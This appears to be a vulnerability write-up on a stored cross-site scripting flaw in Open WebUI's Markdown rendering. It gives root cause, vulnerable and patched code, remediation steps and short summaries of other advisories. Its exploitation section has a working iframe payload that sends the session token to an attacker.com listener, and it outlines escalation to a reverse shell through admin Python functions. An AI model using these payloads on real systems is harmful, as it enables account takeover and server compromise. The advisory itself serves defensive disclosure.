Jul 7, 2026·6 min read·35 visits
Unsanitized Markdown parsing in Open WebUI lets attackers execute arbitrary client-side script via crafted iframe tokens, leading to session theft and administrative Remote Code Execution.
A critical Stored Cross-Site Scripting (XSS) vulnerability exists in Open WebUI versions prior to 0.6.6. The vulnerability resides in client-side Markdown rendering, where unvalidated iframe tags containing local API base URLs bypass DOMPurify sanitization. This flaw allows authenticated attackers to steal user session tokens. If an administrative session is compromised, the attacker can leverage the application's native Python execution capabilities ('Functions') to achieve arbitrary Remote Code Execution (RCE) on the hosting server.
Open WebUI is an extensible, self-hosted user interface designed for interacting with large language models offline. To deliver rich text interactions, the platform processes markdown client-side inside Svelte-based chat interface files. This architecture exposes a significant attack surface in components that translate markdown tokens into raw HTML tags.\n\nThe vulnerability, designated CVE-2025-46719 (GHSA-9f4f-jv96-8766), falls under the category of Improper Neutralization of Input During Web Page Generation (CWE-79). The security flaw is located within the markdown parsing engine's handling of inline token representations. Specifically, when rendering HTML tokens, a design exception allows unvalidated HTML strings to bypass the primary DOMPurify sanitization framework.\n\nA successful exploitation of this vulnerability enables an attacker to execute arbitrary JavaScript code within the context of the victim's browser session. If the victim has administrative privileges, the attacker can leverage the compromised session to interact with the platform's API endpoints. This interaction can escalate to Remote Code Execution (RCE) on the underlying hosting server by registering malicious Python routines via the system's 'Functions' panel.
The root cause of CVE-2025-46719 is located in the client-side rendering files src/lib/components/chat/Messages/Markdown/MarkdownTokens.svelte and MarkdownInlineTokens.svelte. When Open WebUI renders markdown, it leverages a parsing pipeline to process text blocks into distinct node trees. While standard HTML blocks are sanitized through DOMPurify, an explicit exception was implemented to handle internal document and media previews.\n\nTo allow inline iframe previews of uploaded files, developers introduced a conditional Svelte block that checks if a token contains an iframe reference directed at the server's file upload API. This conditional logic evaluates the presence of the substring <iframe src=\"${WEBUI_BASE_URL}/api/v1/files/ within the raw token text. If this substring is detected, the application renders the entire token using Svelte's raw HTML interpolation directive ({@html}).\n\nThis implementation introduces two security failures. First, Svelte's {@html} directive bypasses standard Svelte escaping, inserting the string directly into the Document Object Model (DOM). Second, the .includes() method is structurally weak and fails to validate the outer boundaries of the token. An attacker can construct a single token that satisfies the .includes() requirement while appending arbitrary malicious tags or event handler attributes, such as onload handlers, elsewhere in the payload.
In vulnerable versions of Open WebUI, the application rendered raw HTML tokens directly when matching file preview signatures. The following block highlights this vulnerability pattern:\n\ntypescript\n// Vulnerable Code Path\n{:else if token.text.includes('<iframe src="' + WEBUI_BASE_URL + '/api/v1/files/')}\n {@html `${token.text}`}\n\n\nIn the patch implemented in version 0.6.6 (Commit 6fd082d55ffaf6eb226efdeebc7155e3693d2d01), the developers refactored HTML token rendering into an isolated component named HTMLToken.svelte. This component enforces structural validation and sanitizes inputs. Below is the updated logic:\n\nsvelte\n<!-- Patched Component: HTMLToken.svelte -->\n<script lang="ts">\n\timport DOMPurify from 'dompurify';\n\timport type { Token } from 'marked';\n\timport { WEBUI_BASE_URL } from '$lib/constants';\n\n\texport let token: Token;\n\tlet html: string | null = null;\n\n\t$: if (token.type === 'html' && token?.text) {\n\t\t// Sanitize input using DOMPurify as the default defensive layer\n\t\thtml = DOMPurify.sanitize(token.text);\n\t} else {\n\t\thtml = null;\n\t}\n</script>\n\n{#if token.type === 'html'}\n\t{#if html && html.includes('<video')}\n\t\t{@html html}\n\t{:else if token.text && token.text.match(/<iframe\\s+[^>]*src="https:\\/\\/www\\.youtube\\.com\\/embed\\/([a-zA-Z0-9_-]{11})"[^>]*><\\/iframe>/)}\n\t\t<!-- Strict regex matching for safe YouTube embeds -->\n\t{:else if token.text.includes('<iframe src="' + WEBUI_BASE_URL + '/api/v1/files/')}\n\t\t{@html `${token.text}`}\n\t{:else}\n\t\t{token.text}\n\t{/if}\n{/if}\n\n\nWhile the patch separates concern by isolating HTML token rendering, the implementation still uses raw {@html} on token.text if the substring matches. It is critical that deployments enforce deep server-side sanitization and restrictive Content Security Policies, as relying on substring match checks client-side remains highly complex to secure against nested bypasses.
The exploitation vector requires an attacker to inject a crafted markdown payload containing the target base URL and an executable payload attribute. The initial proof-of-concept payload uses an iframe tag pointing to the files API coupled with an inline onload attribute:\n\nhtml\n<iframe src="http://localhost:8080/api/v1/files/" onload="alert(1)"></iframe>\n\n\nTo conduct a complete administrative takeover, the attacker can leverage the platform's client-side session management. Open WebUI stores the user's active JSON Web Token (JWT) inside the browser's local storage under the key token. An attacker can structure the iframe payload to exfiltrate this storage key to an external listener:\n\nhtml\n<iframe src="http://localhost:8080/api/v1/files/" onload="fetch('https://attacker.com/?token=' + encodeURIComponent(localStorage.getItem('token')))"></iframe>\n\n\nOnce the administrative token is exfiltrated, the attacker assumes administrative control over the platform. The attacker then accesses the /api/v1/functions API endpoint. Because Open WebUI permits administrators to write custom Python plugins and filters to process incoming user requests, the attacker can submit a Python payload that executes shell commands, establishing a reverse shell and completing the attack chain from XSS to Remote Code Execution.
The impact of CVE-2025-46719 represents a severe escalation chain. Although the initial entry point is client-side, the architectural integration of administrative capabilities and Python-based plugins bridges the gap between client-side exploitation and system-level host compromise.\n\nThe CVSS v4.0 scoring system assigns this vulnerability a base score of 7.4 (High Severity), reflecting the critical exposure of confidentiality, integrity, and availability. If an attacker succeeds in exfiltrating an administrative session token, the integrity of the hosting environment is entirely compromised. Attackers can execute arbitrary processes under the system privileges of the Docker container or local application host.\n\nFurthermore, this vulnerability presents significant self-propagating potential. If the 'Enable Community Sharing' parameter is toggled on, or if infected chat transcripts are published to the public Open WebUI registry, the exploit operates as a worm. Users viewing these shared transcripts will silently execute the payload, causing their local clients to duplicate the malicious transcript and share it further, magnifying the overall threat vector.
The primary remediation path for CVE-2025-46719 is to update Open WebUI installations to version 0.6.6 or greater. System administrators running the platform via the Python Package Index (PyPI) should execute the upgrade command:\n\nbash\npip install --upgrade open-webui\n\n\nFor containerized environments, pull the updated container image and restart the deployment using the following sequence:\n\nbash\ndocker pull ghcr.io/open-webui/open-webui:main\ndocker compose up -d --force-recreate\n\n\nIn scenarios where immediate patching is unfeasible, administrators should configure strict Content Security Policy (CSP) headers on their reverse proxy. Restricting the script-src and connect-src directives prevents unauthorized exfiltration and inline JavaScript execution:\n\nhttp\nContent-Security-Policy: default-src 'self'; script-src 'self'; frame-src 'self' https://www.youtube.com; connect-src 'self' https://trusted-endpoint.com;\n
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:L/SI:L/SA:N/E:P| Product | Affected Versions | Fixed Version |
|---|---|---|
Open WebUI Open WebUI | < 0.6.6 | 0.6.6 |
| Attribute | Detail |
|---|---|
| CWE ID | CWE-79 |
| Attack Vector | Network |
| CVSS Score | 7.4 (High) |
| Exploit Status | Proof of Concept |
| KEV Status | Not Listed |
The software does not neutralize or incorrectly neutralizes user-controlled input before it is placed in output that is used as a web page that is served to other users.
A vulnerability in vLLM prior to 0.30.0 allows an authenticated multi-tenant attacker to infer execution history and prompt structures of other tenants. The multi-turn Responses API ('Harmony' path) fails to propagate the 'cache_salt' parameter during tool-call continuation steps, storing sensitive prompt prefixes in the global, unsalted cache space.
A state desynchronization (cache drift) vulnerability exists in the multimodal Inter-Process Communication (IPC) Least Recently Used (LRU) caches of vLLM. When a multimodal request fails validation after its media hash has been registered on the frontend but before the payload is committed to the backend engine core, the frontend and backend caches drift out of lockstep. A subsequent request reusing the same media triggers an assertion failure in the backend engine core, resulting in a complete denial of service.
CVE-2026-105750 is a medium-severity local file disclosure vulnerability affecting the Docling and Docling-Slim libraries. When processing HTML documents using the optional Playwright rendering backend, the application fail to validate and restrict request URIs using the file:// scheme. This permits an attacker supplying a crafted HTML file to access, render, and exfiltrate local system files.
CVE-2026-102598 is a security bypass and Denial of Service (DoS) vulnerability in the Werkzeug WSGI web application library. In versions prior to 3.1.9, the library's safe_join function fails to sanitize Windows reserved device names containing an empty NTFS Alternate Data Stream (ADS) marker (such as NUL:). This allows remote, unauthenticated attackers to trigger indefinite thread-blocking operations on Windows hosts, resulting in application-wide resource exhaustion.
A vulnerability in @graphql-tools/executor-legacy-ws prior to version 1.1.35 hardcodes the TLS rejectUnauthorized setting to false for outgoing secure WebSocket (wss://) connections. This defect allows unauthenticated remote attackers to perform Adversary-in-the-Middle (MitM) attacks, capturing or tampering with sensitive connection payloads and subscription data.
CVE-2026-103918 is a medium-severity vulnerability within the @orpc/zod smart coercion plugin in oRPC. Prior to version 1.14.10, the package fails to sanitize untrusted input keys when performing pre-validation type coercion, allowing prototype injection on the returned request object and Denial of Service.